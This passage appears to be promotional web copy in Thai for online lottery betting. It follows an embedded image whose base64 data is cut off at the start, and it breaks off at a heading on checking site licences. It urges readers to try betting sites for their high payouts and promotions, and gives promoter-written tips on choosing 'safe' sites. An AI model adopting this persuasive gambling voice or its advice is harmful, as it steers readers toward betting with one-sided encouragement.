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"/></p>
<p>หวยออนไลน์กำลังเป็นที่นิยมอย่างมากในยุคดิจิทัล เพราะสะดวก ซื้อง่าย แค่ปลายนิ้วก็เสี่ยงโชคได้ทุกที่ทุกเวลา ไม่ต้องเดินทางไปร้านอีกต่อไป <strong>เว็บหวยชั้นนำ</strong>ยังมีอัตราจ่ายสูง โปรโมชั่นเด็ด และระบบที่ปลอดภัย ชวนให้ทุกคนได้ลองสัมผัสความตื่นเต้นแบบใหม่ที่ไม่เหมือนใคร!</p>
<h2>วิธีเลือกเว็บแทงเลขให้ปลอดภัยและน่าเชื่อถือ</h2>
<p>การเลือกเว็บแทงเลขที่ปลอดภัยและน่าเชื่อถือ ต้องเริ่มจากการตรวจสอบใบอนุญาตและความโปร่งใสของเว็บไซต์ เช่น การแสดงข้อมูลบริษัทอย่างชัดเจน และมีรีวิวจากผู้ใช้จริงในช่องทางอิสระ ควรเปรียบเทียบอัตราการจ่ายเงินและเงื่อนไขการถอนที่ยุติธรรม รวมถึงระบบรักษาความปลอดภัยที่มีการเข้ารหัสข้อมูลส่วนตัวและมีฝ่ายบริการลูกค้าตอบไวตลอด 24 ชั่วโมง หลีกเลี่ยงเว็บที่โฆษณาเกินจริงหรือกดดันให้ฝากเงินทันที เพราะมักเป็นมิจฉาชีพ การอ่านข้อตกลงการใช้งานและนโยบายความเป็นส่วนตัวอย่างละเอียดจะช่วยป้องกันการถูกโกงได้ <strong>การเลือกเว็บแทงเลขอย่างปลอดภัย</strong> ยังต้องพิจารณาความมั่นคงทางการเงินของเว็บ เช่น มีประวัติการจ่ายเงินตรงเวลา และใช้ช่องทางโอนผ่านธนาคารชั้นนำเท่านั้น <strong>ความน่าเชื่อถือของเว็บ</strong> เกิดจากความสม่ำเสมอในการให้บริการโดยไม่มีการปิดหนีหรือเปลี่ยนเงื่อนไขกะทันหัน ดังนั้น ควรทดลองเดิมพันด้วยจำนวนเล็กน้อยก่อน และหากพบความผิดปกติ ให้ถอนเงินทันทีและแจ้งหน่วยงานที่เกี่ยวข้อง</p>
<h3>เช็กลิขสิทธิ์และใบอนุญาตก่อนสมัคร</h3>
